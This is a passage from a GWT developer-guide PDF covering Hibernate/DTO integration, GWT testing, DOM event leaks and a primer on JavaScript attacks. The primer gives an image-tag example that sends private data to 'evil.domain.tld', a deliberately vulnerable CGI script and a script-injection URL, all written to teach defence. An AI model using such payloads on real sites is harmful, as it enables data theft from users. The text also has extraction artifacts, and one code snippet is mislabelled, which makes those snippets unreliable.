can lazily load associated objects when needed. For example, on the server-side, I could load an account, change it around, and only load its associated records when a call to account.getRecords() and some action on those records was taken. The special Hibernate instrumentation will take care of actually fetching the records when I make the call, making them available only when really needed. As you may imagine, this will translate to strange behaviour in the GWT RPC world where these Hibernate objects traveled from the Java server-side to browser land. If a GWT RPC service tries to access associations lazily, you might see something like a LazyInitializationException being thrown.
Integration Strategies
Fortunately, there are a number of workarounds that sidestep these issues, as well as provide other benefits inherent to these approaches.
416 / 469
AccountDTO.java
package com.google.musicstore.client.dto; import java.io.Serializable; import java.util.Set; public class AccountDTO implements Serializable { private Long id; private String name; private String password; private Set<RecordDTO> records; public AccountDTO() { } public AccountDTO(Long id) { this.id = id; } public AccountDTO(Long id, String name, String password, Set<RecordDTO> records) { this.id = id; this.name = name; this.password = password; this.records = records; } } // Along with corresponding getters + setters.
RecordDTO.java
package com.google.musicstore.client.dto; import java.io.Serializable; public class RecordDTO implements Serializable { private Long id; private String title; private int year; private double price; public RecordDTO() { } public RecordDTO(Long id) { this.id = id; } public RecordDTO(Long id, String title, int year, double price) { this.id = id; this.title = title; this.year = year; this.price = price; } } // Along with corresponding getters + setters.
Next, let's add constructors that take these new DTOs as arguments to their Hibernate object counterparts:
417 / 469
Account.java
public Account(AccountDTO accountDTO) { id = accountDTO.getId(); name = accountDTO.getName(); password = accountDTO.getPassword(); Set<RecordDTO> recordDTOs = accountDTO.getRecords(); if (recordDTOs != null) { Set<Record> records = new HashSet<Record>(recordDTOs.size()); for (RecordDTO recordDTO : recordDTOs) { records.add(new Record(recordDTO)); } this.records = records; } }
Record.java
public Record(RecordDTO record) { id = record.getId(); title = record.getTitle(); year = record.getYear(); price = record.getPrice(); }
And finally, we need to modify the existing GWT RPC components to take the DTO counterparts as arguments: MusicStoreService.java
@RemoteServiceRelativePath("musicservice") public interface MusicStoreService extends RemoteService { public List<AccountDTO> getAccounts(); public List<RecordDTO> getRecords(); public Long saveAccount(AccountDTO accountDTO); public Long saveRecord(RecordDTO recordDTO); public void saveRecordToAccount(AccountDTO accountDTO, RecordDTO recordDTO); } public List<AccountDTO> getAllAccountRecords();
MusicStoreServiceAsync.java
public interface MusicStoreServiceAsync { public void getAccounts(AsyncCallback<List<AccountDTO>> callback); public void getRecords(AsyncCallback<List<RecordDTO>> callback); public void saveAccount(AccountDTO accountDTO, AsyncCallback<Long> callback); public void saveRecord(RecordDTO record, AsyncCallback<Long> callback); public void saveRecordToAccount(AccountDTO accountDTO, RecordDTO recordDTO, AsyncCallback<Void> callback); } public void getAllAccountRecords(AsyncCallback<List<AccountDTO>> callback);
418 / 469
MusicStoreServiceImpl.java
public class MusicStoreServiceImpl extends RemoteServiceServlet implements MusicStoreService { @Override public List<AccountDTO> getAccounts() { Session session = HibernateUtil.getSessionFactory().getCurrentSession(); session.beginTransaction(); List<Account> accounts = new ArrayList<Account>(session.createQuery("from Account").list()); List<AccountDTO> accountDTOs = new ArrayList<AccountDTO>( accounts != null ? accounts.size() : 0); if (accounts != null) { for (Account account : accounts) { accountDTOs.add(createAccountDTO(account)); } } session.getTransaction().commit(); return accountDTOs; } @Override public List<RecordDTO> getRecords() { Session session = HibernateUtil.getSessionFactory().getCurrentSession(); session.beginTransaction(); List<Record> records = new ArrayList<Record>(session.createQuery("from Record").list()); List<RecordDTO> recordDTOs = new ArrayList<RecordDTO>(records != null ? records.size() : 0); if (records != null) { for (Record record : records) { recordDTOs.add(createRecordDTO(record)); } } session.getTransaction().commit(); return recordDTOs; } @Override public Long saveAccount(AccountDTO accountDTO) { Account account = new Account(accountDTO); Session session = HibernateUtil.getSessionFactory().getCurrentSession(); session.beginTransaction(); session.save(account); session.getTransaction().commit(); return account.getId(); } @Override public Long saveRecord(RecordDTO recordDTO) { Record record = new Record(recordDTO); Session session = HibernateUtil.getSessionFactory().getCurrentSession(); session.beginTransaction(); session.save(record); session.getTransaction().commit(); return record.getId(); } @Override public void saveRecordToAccount(AccountDTO accountDTO, RecordDTO recordDTO) { Session session = HibernateUtil.getSessionFactory().getCurrentSession(); session.beginTransaction(); Account account = (Account) session.load(Account.class, accountDTO.getId()); Record record = (Record) session.load(Record.class, recordDTO.getId()); account.addRecord(record); session.save(account); session.getTransaction().commit(); }
419 / 469
@Override public List<AccountDTO> getAllAccountRecords() { Session session = HibernateUtil.getSessionFactory().getCurrentSession(); session.beginTransaction(); List<Account> accounts = new ArrayList<Account>(session.createQuery("from Account").list()); List<AccountDTO> accountDTOs = new ArrayList<AccountDTO>(accounts != null ? accounts.size() : 0); if (accounts != null) { for (Account account : accounts) { accountDTOs.add(createAccountDTO(account)); } } session.getTransaction().commit(); return accountDTOs; } private AccountDTO createAccountDTO(Account account) { Set<Record> records = account.getRecords(); Set<RecordDTO> recordDTOs = new HashSet<RecordDTO>(records != null ? records.size() : 0); if (records != null) { for (Record record : records) { recordDTOs.add(createRecordDTO(record)); } } return new AccountDTO(account.getId(), account.getName(), account.getPassword(), recordDTOs); } private RecordDTO createRecordDTO(Record record) { return new RecordDTO(record.getId(), record.getTitle(), record.getYear(), record.getPrice()); }
And lastly, we need to update the RPC service interface calls from the MusicStore entry point class to use the new DTO parametrized method signatures. We now have the domain package containing the Account and Record classes where it belongs, isolated to the serverside. We can remove the <source> tag referencing the domain package from the base application module XML file now: MusicStore.gwt.xml
<!-- Remove the line below --> <source path="domain"/>
Notice that not much changes here. The only thing we need to do after retrieving the Hibernate objects from the database is copy them into their DTO equivalents, add those DTOs to a list and return them back in the client-side callback. However, there is one thing that we'll need to watch out for, and that's the process by which we copy these objects to our DTOs. We created the createAccountDTO(Account account) method, which contains the logic that we want to transform the Account Hibernate objects into the data-only DTOs that we're going to return. createAccountDTO(Account account)
private AccountDTO createAccountDTO(Account account) { Set<Record> records = account.getRecords(); Set<RecordDTO> recordDTOs = new HashSet<RecordDTO>(records != null ? records.size() : 0); if (records != null) { for (Record record : records) { recordDTOs.add(createRecordDTO(record)); } } return new AccountDTO(account.getId(), account.getName(), account.getPassword(), recordDTOs); }
You'll also notice that we're making a call to another copy method called createRecordDTO(Record record). As you might imagine, much like we needed to transform Account objects into their DTO equivalents, we need to do the same directional transformation for the Record object.
420 / 469
createRecordDTO(Record record)
private RecordDTO createRecordDTO(Record record) { return new RecordDTO(record.getId(), record.getTitle(), record.getYear(), record.getPrice()); }
With the DTO solution implemented, try running: ant clean build hosted from command line once more to see the solution in action (all while making sure that the HSQL in-memory DB is still running). You can download a version of the first sample application with the DTO solution fully implemented here.
Now that we know how Dozer mappings work, let's see how they apply to Hibernate objects. The idea is to simply copy all the properties over to our DTOs while removing any properties marked with lazy="true". Dozer will take care of replacing these originally lazily loaded persistent collections by plain collections, which can be transferred and serialized through RPC.
421 / 469
<mappings> <mapping> <class-a>com.google.musicstore.domain.Account</class-a> <class-b>com.google.musicstore.dto.AccountDTO</class-b> <field-exclude> <a>records</a> <b>records</b> </field-exclude> </mapping> <mapping> <class-a>com.google.musicstore.domain.Record</class-a> <class-b>com.google.musicstore.dto.RecordDTO</class-b> </mapping> </mappings>
One of the nice things about Dozer is that it automatically takes care of copying data between two classes for properties that exist in both classes that have the same field type and name. Since the Account / Record objects and their DTO equivalents both use the same property names, we're already done with our Dozer mappings as configured above. Save this mapping file to dozerBeanMapping.xml, and place it on the project classpath. Now all we need to have our previous DTO solution use Dozer is remove the copy logic we added as it is no longer needed, and use the Dozer mappings to copy our Hibernate data to our DTOs, and send them over the wire. The method signatures for all three GWT RPC MusicStore service components remain the same. What changes is simply the copy logic from Hibernate object to DTO in the MusicStoreServiceImpl method implementations. Anywhere we would have had createAccountDTO() or createRecordDTO() calls, we will now have:
DozerBeanMapperSingletonWrapper.getInstance().map(account, AccountDTO.class)); // or DozerBeanMapperSingletonWrapper.getInstance().map(record, RecordDTO.class));
And similarly the other way around when we need to create a Hibernate object from an incoming DTO. You'll notice this approach forces us to make separate calls to load an Account object's records since we're no longer writing and using our own copy logic. This transitive logic is not necessarily so bad, since the reasons for which we wanted the property to be lazy on the server will probably still be true on the client. When we do want to copy properties with lazy="true" without running into LazyInitializationExceptions, Dozer does allow us to create our own custom converters - classes which dictate how one type is copied to the next. This becomes similar to the DTO approach, except now all our copy logic would be neatly refactored into a purpose-built converter class. Try the sample application with the Dozer solution by once again running: ant clean build hosted from command line. You can download a version of the first sample application with the Dozer solution fully implemented here.
422 / 469
How it works
The first principle to Gilead is the automatic replacement of uninitialized proxies by null and persistent collections by basic collections present in the emulated JRE. These replacements are both done without requiring any specific mappings to be defined. Gilead also stores the information necessary to recreate the Hibernate proxy or persistent collection in either the server-side object or the cloned object, making it possible to recreate these objects without needing to make calls to the database.
Gilead also provides a dedicated adapter for Hibernate and GWT to make their integration painless. In the simplest case, integration between GWT and Hibernate can be realized by following these steps: 1. Make your persistent classes inherit the LightEntity class (class used for stateless mode integration in the Gilead library). 2. Making your remote RemoteServiceServlet. RPC services extend PersistentRemoteService instead of
3. Configuring your beanManager for your GWT RPC service as shown in the code snippet below (see Gilead documentation for more on configuring bean managers):
public class UserRemoteImpl extends PersistentRemoteService implements UserRemote { ... /** * Constructor */ public UserRemoteImpl() { HibernateUtil hibernateUtil = new HibernateUtil(); hibernateUtil.setSessionFactory(HibernateUtil.getSessionFactory()); PersistentBeanManager persistentBeanManager = new PersistentBeanManager(); persistentBeanManager.setPersistenceUtil(hibernateUtil); persistentBeanManager.setProxyStore(new StatelessProxyStore()); } } setBeanManager(persistentBeanManager);
423 / 469
Once this configuration is in place, our Hibernate entities are automatically converted into types that can be transferred over RPC and used in client-side GWT code, without any other coding or mapping needing to be defined on our part. Applying these three changes to the base MusicStore application would lead to the following: 1) Make your persistent classes inherit LightEntity Account.java
import net.sf.gilead.pojo.java5.LightEntity; public class Account extends LightEntity implements Serializable { // ... }
Record.java
import net.sf.gilead.pojo.java5.LightEntity; public class Account extends LightEntity implements Serializable { // ... }
3) Configure your beanManager for your GWT RPC service as shown in the code snippet above MusicStoreServiceImpl.java
import import import import net.sf.gilead.core.PersistentBeanManager; net.sf.gilead.core.hibernate.HibernateUtil; net.sf.gilead.core.store.stateless.StatelessProxyStore; net.sf.gilead.gwt.PersistentRemoteService;
public class MusicStoreServiceImpl extends PersistentRemoteService implements MusicStoreService { /** * Constructor */ public MusicStoreServiceImpl() { HibernateUtil gileadHibernateUtil = new HibernateUtil(); gileadHibernateUtil.setSessionFactory(com.google.musicstore.util.HibernateUtil.getSessionFacto ry()); PersistentBeanManager persistentBeanManager = new PersistentBeanManager(); persistentBeanManager.setPersistenceUtil(gileadHibernateUtil); persistentBeanManager.setProxyStore(new StatelessProxyStore()); } } setBeanManager(persistentBeanManager);
There is a change to note here, aside from the new constructor that sets up the bean manager. We're now using net.sf.gilead.core.hibernate.HibernateUtil in addition to the HibernateUtil class we defined in the util package. This is required to setup Gilead appropriately. And that's all there is to it. We're ready to go with the original calls we made from our GWT RPC service interfaces on the client-side referring the Account and Record objects. Try executing the command below to compile the application with the Gilead approach and see it running in hosted mode:
ant clean build hosted
424 / 469
Once more, you can download a version of the sample application we've been building with the Gilead solution fully implemented here.
Transport annotations
In order to avoid sending sensitive or heavy data over the network, Gilead also provides an @ServerOnly annotation that will exclude the property annotated in the cloned object. Also, if you don't want values that are changed in the clone on the GWT client-side to be reflected and persisted in the persistent entity, you can add a @ReadOnly annotation to properties as well.
Conclusion
If you're using Hibernate on the server-side, hopefully the integration strategies discussed above will help get your GWT client-side talking to your Hibernate backend. Each of these have their pluses and minuses, which vary especially with respect to the burden on the developer implementing the interoperation. However, the overarching concern across each of these strategies, as well as other facets of web application development, should always be performance for your users. A number of these approaches can sometimes incur considerable runtime overhead. For example, the Dozer and Gilead approach may become taxing to the user experience when there are larger sets of data to serialize, whereas the DTO solution can be designed to be as concise and effective as needed to improve performance. There are other aspects of Hibernate and GWT integration that might not have been covered in this article. For any further discussions, I strongly encourage you to come visit us on the GWT Developer Forum.
425 / 469
5.3.
Sumit Chandel, Google Developer Relations March 2009 This article is a direct adaptation of Daniel Wellman's excellent article, "Google Web Toolkit: Writing Ajax Applications Test-First", published in Better Software magazine (November 2008). One of the core features of GWT is testability, which means we can easily test our applications using a set of tried-andtrue testing tools. Testability for GWT applications breaks down into the three following types of testing components: Standard JUnit TestCases GWTTestCases (subclasses of the JUnit TestCase) Selenium Testing
Testing a GWT application might seem a little daunting at first, since GWT application code runs as Java instead of JavaScript. However, using these testing components to thoroughly test our application is actually quite simple, and what's more is that we can apply strong design patterns to our code that will help keep our test cases concise, effective and maintainable. Before getting into testing methodologies and design patterns we can use to test our GWT applications, let's first explain GWT's Testing Infrastructure.
This code sample demonstrates a method written in Java (setStylePrimaryName) which relies on code implemented directly in JavaScript indicated by the native keyword (getCellElement). Many of the GWT libraries include some native code as demonstrated above; in particular, all widgets manipulate the DOM. This means that when you're running unit tests over components that execute JavaScript natively, they must be running in an environment supporting the JavaScript runtime, such as the one provided by the hosted mode browser. To test components that rely on JavaScript code natively, GWT provides a subclass of JUnit's TestCase called GWTTestCase. This base class allows you to implement your JUnit test case as you normally would; in fact, GWTTestCases look almost identical to the standard JUnit TestCase:
public class MeetingSummaryLabelTest extends GWTTestCase { public String getModuleName() { return "com.danielwellman.booking.Booking"; } // Add tests here }
The only visible difference is that all GWTTestCases must override an abstract method called getModuleName, which returns a String containing the name of your GWT code module as defined in your application's module XML file. When you run your test, the GWT framework starts up an invisible (or "headless") hosted mode browser and then evaluates your test case. What this means is that all the facilities of the hosted browser are available to your test case; you can run native JavaScript functions, render widgets, or invoke asynchronous remote procedure calls. Furthermore, you can run your tests either as a hybrid of Java and JavaScript code (in hosted mode), or compile and run all your GWT code as JavaScript (in web mode). All you need to do is declare and pass the -Dgwt.args="-web" Java runtime argument to the TestRunner process when running your test. It is highly recommended that you run your tests both in hosted mode and web mode, since there are some subtle differences between Java and JavaScript which could cause 426 / 469
unexpected failures. Setting up the classpath to run these tests requires both the source and interim compiled Java classes for the test code be passed to the test runner. GWT provides a tool called "junitCreator" which will generate an empty GWTTestCase for you along with the required scripts to run the tests both in hosted and web mode. Being able to test native JavaScript code in your JUnit tests is great, but there are some caveats and limitations. First, the normal browser event mechanisms do work as expected in test mode, but you would need to add somewhat adventitious code to do things like programmatically click a button and expect the corresponding event handlers to be fired. (e.g. onClick). The best approach to handle cases where you would like to test through event listeners is to write Selenium tests that run against the browser with all event mechanisms in place. There are also performance considerations; running the TestCase forces a compilation of the source code in your module, which incurs an initial startup delay. Furthermore, each individual test case requires starting up and shutting down the headless browser . which can take several seconds. One useful technique to use is to group your test cases into TestSuites, so that tests can run in a single suite and only incur a single compilation / hosted mode startup cost per suite. So when should you extend a standard JUnit TestCase or GWTTestCase? In general, you should prefer standard JUnit TestCases because they run orders of magnitude faster than a GWTTestCase. If your code executes native JavaScript, then your test must extend GWTTestCase this frequently includes any code which uses the supplied GWT libraries. The upshot is that if you simply instantiate a widget in the code being tested, you will have to test this using a GWTTestCase. However, you should consider if there is another design approach which avoids this native code requirement, such as moving the logic to another class.
MVC...
Vs MVP
427 / 469
Example
To illustrate some of these concepts, let's take a look at building a small portion of an application. For this example, we're building an online application for booking meeting rooms at a conference center. A user will need to specify some details about the meeting, including the expected capacity and date. The application will check with a scheduling back end service to determine if the room is available. If it's not available, the Save button will dim and a message will be displayed. See Figure 1 for a sample layout of this dialog.
Figure 1 The first iteration of the UI for the Booking application After some quick drawing at a whiteboard, we come up with a rough sketch of the objects involved as shown in Figure 2.
428 / 469
This test is an interaction-based test which uses EasyMock to provide test doubles for the View and the RoomScheduler. We stub out the scheduler to reply that it cannot accept capacity for the meeting, and expect our view to be told to disable the save button. Note here that the View ends up being fairly dumb; it does nothing but notify the presenter whenever the required capacity is changed. This code requires that we specify an interface for our view:
public interface MeetingView { void disableSaveButton(); }
429 / 469
public class Presenter { private Meeting meeting; private MeetingView meetingView; private RoomScheduler roomScheduler; public Presenter(Meeting meeting, MeetingView meetingView, RoomScheduler roomScheduler) { this.meeting = meeting; this.meetingView = meetingView; this.roomScheduler = roomScheduler; } /** * Callback when the view's capacity text box changes * * @param textField the capacity TextBox widget */ public void requiredCapacityChanged(HasText textField) { meeting.setCapacity(Integer.parseInt(textField.getText())); if (!roomScheduler.canAcceptCapacityFor(meeting)) { meetingView.disableSaveButton(); } } protected Meeting getMeeting() { return meeting; } }
The Presenter is responsible for orchestrating the call to the remote service and instructing the view to disable the save button. Note also that we're choosing to let the Presenter maintain the state of the Meeting object, so that all UI events ultimately modify this object. This is a very simple implementation, but it's far from the completed design. Our next test would probably check that setting an acceptable capacity enables the save button, and drive us to either make a new method "enableSaveButton" or a generalized "setSaveButtonAvailable" method on the view. We're still testing plain Java objects that don't require any JavaScript, so these tests run quickly. Note the argument to requiredCapacityChanged is of the type HasText. This turns out to be an interface that is part of the GWT libraries:
package com.google.gwt.user.client.ui; public interface HasText { /** * Gets this object's text. */ String getText(); /** * Sets this object's text. * * @param text the object's new text */ void setText(String text);
This simple interface is used by many GWT components and allows manipulation of a widget's text contents, including the TextBox in our example. This interface is extremely useful for testing because we don't need to pass in a real TextBox. Thus we avoid instantiating a text input in the DOM, requiring our test to extend GWTTestCase to run in a real browser. In this example, I've made a very simple fake implementation which wraps a String:
430 / 469
public class FakeTextContainer implements HasText { private String text; public FakeTextContainer(String text) { this.text = text; } public String getText() { return text; } public void setText(String text) { this.text = text; } }
As you can see, there's not much logic here. Most of the code is involved in setting up the event listeners and configuring the display widgets. So how do we test it in a GWTTestCase? We don't. In fact, there's not much that can be tested here in an automated test; as stated earlier, event propagation won't work by default in a GWTTestCase. Here is where Selenium testing can be useful. The tests we write for our widgets run in the deployed browser environment, meaning that the testing context will have all the event listeners it expects available for testing. In GWT 1.5, we introduced traceable debug ids, set through the new
431 / 469
UIObject.ensureDebugId() method, which allows us to set the debug id on a given widget. We can later track these widget using their debug ids when writing our Selenium tests. If you are building a widget library then you might want to write GWTTestCases that test the widget through its API, which is what the Google Web Toolkit team does with the widgets included in GWT such as Button, TextBox, and Tree. However, these tests are slow and any complex logic could be moved into a simple presenter object which could be tested in a plain old fast JUnit TestCase.
432 / 469
5.4.
Joel Webber, Google Web Toolkit Team Updated January 2009 You may ask yourself, "Why do I have to use bitfields to sink DOM events?", and you may ask yourself, "Why can I not add event listeners directly to elements?" If you find yourself asking these questions, it's probably time to dig into the murky depths of DOM events and memory leaks. If you're creating a widget from scratch (using DOM elements directly, as opposed to simply creating a composite widget), the setup for event handling generally looks something like this:
class MyWidget extends Widget { public MyWidget() { setElement(DOM.createDiv()); sinkEvents(Event.ONCLICK); } public void onBrowserEvent(Event evt) { switch (DOM.eventGetType(evt)) { case Event.ONCLICK: // Do something insightful. break; } } }
This may seem a bit obtuse, but there's a good reason for it. To understand this, you may first need to brush up on browser memory leaks. There are some good resources on the web: http://www.quirksmode.org/blog/archives/2005/02/javascript_memo.html http://www-128.ibm.com/developerworks/web/library/wa-memleak/
The upshot of all this is that in some browsers, any reference cycle that involves a JavaScript object and a DOM element (or other native object) has a nasty tendency to never get garbage-collected. The reason this is so insidious is that this is an extremely common pattern to create in JavaScript UI libraries. Imagine the following (raw JavaScript) example:
function makeWidget() { var widget = {}; widget.someVariable = "foo"; widget.elem = document.createElement ('div'); widget.elem.onclick = function() { alert(widget.someVariable); }; }
Now, I'm not suggesting that you'd really build a JavaScript library quite this way, but it serves to illustrate the point. The reference cycle created here is:
widget -> elem(native) -> closure -> widget
There are many different ways to run into the same problem, but they all tend to form a cycle that looks something like this. This cycle will never get broken unless you do it manually (often by clearing the onclick handler). There are a number of ways developers try to deal with this issue. One of the more common is to walk the DOM when window.onunload is fired, clearing out all event listeners. This is problematic for two reasons: It doesn't clear events on elements that are no longer in the DOM. It doesn't deal with long-running applications, which are becoming more and more common.
433 / 469
GWT's Solution
When designing GWT, we decided that leaks were simply unacceptable. You wouldn't tolerate egregious memory leaks in a desktop application, and a browser application should be no different. This raises some interesting problems, though. In order to avoid ever creating leaks, any widget that might need to get garbage collected must not be involved in a reference cycle with a native element. There's no way to find out "when a widget would have been collected had it not been involved in a reference cycle". So in GWT terms, a widget must not be involved in a cycle when it is detached from the DOM. How do we enforce this? Each widget has a single "root" element. Whenever the widget becomes attached, we create exactly one "back reference" from the element to the widget (that is, elem.__listener = widget, performed in DOM.setEventListener()). This is set whenever the widget is attached, and cleared whenever it is detached. Which brings is back to that odd bitfield used in the sinkEvents() method. If you look at the implementation of DOM.sinkEvents(), you'll see that it does something like this:
elem.onclick = (bits & 0x00001) ? $wnd.__dispatchEvent : null;
Each element's events point back to a central dispatch function, which looks for the target element's __listener expando, in order to call onBrowserEvent(). The beauty of this is that it allows us to set and clear a single expando to clean up any potential event leaks. What this means in practice is that, as long as you don't set up any reference cycles on your own using JSNI, you can't write an application in GWT that will leak. We test carefully with every release to make sure we haven't done anything in the low-level code to introduce new leaks as well. The downside, of course, is that you can't hook event listeners directly to elements that are children of a widget's element. Rather, you have to receive the event on the widget itself, and figure out which child element it came from. But that's better than leaking gobs of memory on your users' machines, right?
434 / 469
5.5.
Dan Morrill, Google Developer Relations Team Updated January 2009 It is a sad truth that JavaScript applications are easily left vulnerable to several types of security exploits, if developers are unwary. Because the Google Web Toolkit (GWT) produces JavaScript code, we GWT developers are no less vulnerable to JavaScript attacks than anyone else. However, because the goal of GWT is to allow developers to focus on their users' needs instead of JavaScript and browser quirks, it's easy to let our guards down. To make sure that GWT developers have a strong appreciation of the risks, we've put together this article. GWT's mission is to provide developers with the tools they need to build AJAX apps that make the web a better place for end users. However, the apps we build have to be secure as well as functional, or else our community isn't doing a very good job at our mission. This article is a primer on JavaScript attacks, intended for GWT developers. The first portion describes the major classes of attacks against JavaScript in general terms that are applicable to any AJAX framework. After that background information on the attacks, the second portion describes how to secure your GWT applications against them. 1. Part 1: JavaScript Vulnerabilities 1. Leaking Data 2. Cross-Site Scripting 3. Forging Requests 4. JSON and XSRF 2. Part 2: How GWT Developers Can Fight Back 1. XSS and GWT 2. XSRF and GWT 3. JSON and GWT 3. Conclusion
Leaking Data
The text above said, "prevents JavaScript from sending data to a different server." Unfortunately, that's not strictly true. In fact it is possible to send data to a different server, although it might be more accurate to say "leak." JavaScript is free to add new resources -- such as <img> tags -- to the current page. You probably know that you can cause an image hosted on foo.com to appear inline in a page served up by bar.com. Indeed, some people get upset if you do this to their images, since it uses their bandwidth to serve an image to your web visitor. But, it's a feature of HTML, and since HTML can do it, so can JavaScript. Normally you would view this as a read-only operation: the browser requests an image, and the server sends the data. The browser didn't upload anything, so no data can be lost, right? Almost, but not quite. The browser did upload 435 / 469
something: namely, the URL of the image. Images use standard URLs, and any URL can have query parameters encoded in it. A legitimate use case for this might be a page hit counter image, where a CGI on the server selects an appropriate image based on a query parameter and streams the data to the user in response. Here is a reasonable (though hypothetical) URL that could return a hit-count image showing the number '42':
http://site.domain.tld/pagehits?count=42
In the static HTML world, this is perfectly reasonable. After all, the server is not going to send the client to a web site that will leak the server's or user's data -- at least, not on purpose. Because this technique is legal in HTML, it's also legal in JavaScript, but there is an unintended consequence. If some evil JavaScript code gets injected into a good web page, it can construct <img> tags and add them to the page. It is then free to construct a URL to any hostile domain, stick it in an <img> tag, and make the request. It's not hard to imagine a scenario where the evil code steals some useful information and encodes it in the <img> URL; an example might be a tag such as:
<img src="http://evil.domain.tld/pagehits?private_user_data=12345"/>
If private_user_data is a password, credit card number, or something similar, there'd be a major problem. If the evil code sets the size of the image to 1 pixel by 1 pixel, it's very unlikely the user will even notice it.
Cross-Site Scripting
The type of vulnerability just described is an example of a class of attacks called "Cross-Site Scripting" (abbreviated as "XSS"). These attacks involve browser script code that transmits data (or does even worse things) across sites. These attacks are not limited to &t;img> tags, either; they can be used in most places the browser lets script code access URLs. Here are some more examples of XSS attacks: Evil code creates a hidden iframe and then adds a <form> to it. The form's action is set to a URL on a server under the attacker's control. It then fills the form with hidden fields containing information taken from the parent page, and then submits the form. Evil code creates a hidden iframe, constructs a URL with query parameters containing information taken from the parent page, and then sets the iframe's "src" to a URL on a server under the attacker's control. Evil code creates a <script> tag, which functions almost identically to the <img> attack. (Actually, it's a lot worse, as I'll explain in a later section.)
Clearly, if evil code gets into your page, it can do some nasty stuff. By the way, don't take my examples above as a complete list; there are far too many variants of this trick to describe here. Throughout all this there's a really big assumption, though: namely, that evil JavaScript code could get itself into a good page in the first place. This sounds like it should be hard to do; after all, servers aren't going to intentionally include evil code in the HTML data they send to web browsers. Unfortunately, it turns out to be quite easy to do if the server (and sometimes even client) programmers are not constantly vigilant. And as always, evil people are spending huge chunks of their lives thinking up ways to do this. The list of ways that evil code can get into an otherwise good page is endless. Usually they all boil down to unwary code that parrots user input back to the user. For instance, this Python CGI code is vulnerable:
import cgi f = cgi.FieldStorage() name = f.getvalue('name') or 'there' s = '<html><body><div>Hello, ' + name + '!</div></body></html>' print 'Content-Type: text/html' print 'Content-Length: %s' % (len(s),) print print s
The code is supposed to print a simple greeting, based on a form input. For instance, a URL like this one would print "Hello, Dan!":
http://site.domain.tld/path?name=Dan
However, because the CGI doesn't inspect the value of the "name" variable, an attacker can insert script code in there.
436 / 469
http://site.domain.tld/path?name=Dan%3Cscript%20%3Ealert%28%22Hi%22%29%3B %3C/script%3E
That URL, when run against the CGI above, inserts the <script> tag directly into the <div> block in the generated HTML. When the user loads the CGI page, it still says "Hello, Dan!" but it also pops up a JavaScript alert window. It's not hard to imagine an attacker putting something worse than a mere JavaScript alert in that URL. It's also probably not hard to imagine how easy it is for your real-world, more complex server-side code to accidentally contain such vulnerabilities. Perhaps the scariest thing of all is that an evil URL like the one above can exploit your servers entirely without your involvement. The solution is usually simple: you just have to make sure that you escape or strip the content any time you write user input back into a new page. Like many things though, that's easier said than done, and requires constant vigilance.
Forging Requests
It would be nice if we could wrap up this article at this point. Unfortunately, we can't. You see, there's a whole other class of attack that we haven't covered yet. You can think of this one almost as XSS in reverse. In this scenario, the attacker lures one of your users to their own site, and uses their browser to attack your server. The key to this attack is insecure server-side session management. Probably the most common way that web sites manage sessions is via browser cookies. Typically the server will present a login page to the user, who enters credentials like a user name and password and submits the page. The server checks the credentials and if they are correct, sets a browser session cookie. Each new request from the browser comes with that cookie. Since the server knows that no other web site could have set that cookie (which is true due to the browsers' Same-Origin Policy,) the server knows the user has previously authenticated. The problem with this approach is that session cookies don't expire when the user leaves the site (they expire either when the browser closes or after some period of time). Since the browsers will include cookies with any request to your server regardless of context, if your users are logged in, it's possible for other sites to trigger an action on your server. This is frequently referred to as "Cross-Site Request Forging" or XSRF (or sometimes CSRF). The sites most vulnerable to XSRF attacks, perhaps ironically, are those that have already embraced the serviceoriented model. Traditional non-AJAX web applications are HTML-heavy and require multi-page UI operations by their very nature. The Same-Origin Policy prevents an XSRF attacker from reading the results of its request, making it impossible for an XSRF attacker to navigate a multi-page process. The simple technique of requiring the user to click a confirmation button -- when properly implemented -- is enough to foil an XSRF attack. Unfortunately, eliminating those sorts of extra steps is one of the key goals of the AJAX programming model. AJAX lets an application's UI logic run in the browser, which in turn lets communications with the server become narrowly defined operations. For instance, you might develop corporate HR application where the server exposes a URL that lets browser clients email a user's list of employee data to someone else. Such services are operation-oriented, meaning that a single HTTP request is all it takes to do something. Since a single request triggers the operation, the XSRF attacker doesn't need to see the response from an XMLHTTPRequest-style service. An AJAX-based HR site that exposes "Email Employee Data" as such a service could be exploited via an XSRF attack that carefully constructed a URL that emails the employee data to an attacker. As you can see, AJAX applications are a lot more vulnerable to an XSRF attack than a traditional web site, because the attacking page doesn't need to navigate a multi-page sequence after all.
As bad as XSS and XSRF are, JSON gives them room to breathe, so to speak, which makes them even more dangerous. The best way to explain this is just to describe how JSON is used. There are three forms, and each is vulnerable to varying degrees: A JSON string returned as the response text from an XMLHTTPRequest call (or other request) Examples:
[ 'foo', 'bar' ] { 'data': ['foo', 'bar'] }
Typically these strings are parsed via a call to JavaScript's 'eval' function for fast decoding. A string containing a JSON object assigned to a variable, returned by a server as the response to a <script> tag. Example:
var result = { 'data': ['foo', 'bar'] };
A string containing a JSON object passed as the parameter to a function call -- that is, the JSONP model. Example:
handleResult({'data': ['foo', 'bar']});
The last two examples are most useful when returned from a server as the response to a <script> tag inclusion. This could use a little explanation. Earlier text described how JavaScript is permitted to dynamically add <img> tags pointing to images on remote sites. The same is true of <script> tags: JavaScript code can dynamically insert new <script> tags that cause more JavaScript code to load. This makes dynamic <script> insertion a very useful technique, especially for mashups. Mashups frequently need to fetch data from different sites, but the Same-Origin Policy prevents them from doing so directly with an XMLHTTPRequest call. However, currently-running JavaScript code is trusted to load new JavaScript code from different sites -- and who says that code can't actually be data? This concept might seem suspicious at first since it seems like a violation of the Same-Origin restriction, but it really isn't. Code is either trusted or it's not. Loading more code is more dangerous than loading data, so since your current code is already trusted to load more code, why should it not be trusted to load data as well? Meanwhile, <script> tags can only be inserted by trusted code in the first place, and the entire meaning of trust is that... you trust it to know what it's doing. It's true that XSS can abuse trust, but ultimately XSS can only originate from buggy server code. Same-Origin is based on trusting the server -- bugs and all. So what does this mean? How is writing a server-side service that exposes data via these methods vulnerable? Well, other people have explained this a lot better than we can cover it here. Here are some good treatments: JSON is not as safe as people think it is Safe JSON
Go ahead and read those -- and be sure to follow the links! Once you've digested it all, you'll probably see that you should tread carefully with JSON -- whether you're using GWT or another tool.
Using the JSON API to parse untrusted strings (which ultimately calls JavaScript's eval function) JavaScript Native Interface (JSNI) code that you write that does something unsafe (such as setting innerHTML, calling eval, writing directly to the document via document.write, etc.)
Don't take our word for it, though! Nobody's perfect, so it's important to always keep security on your mind. Don't wait until your security audit finds a hole, think about it constantly as you code. Read on for more detail on the four vectors above.
Non-GWT JavaScript
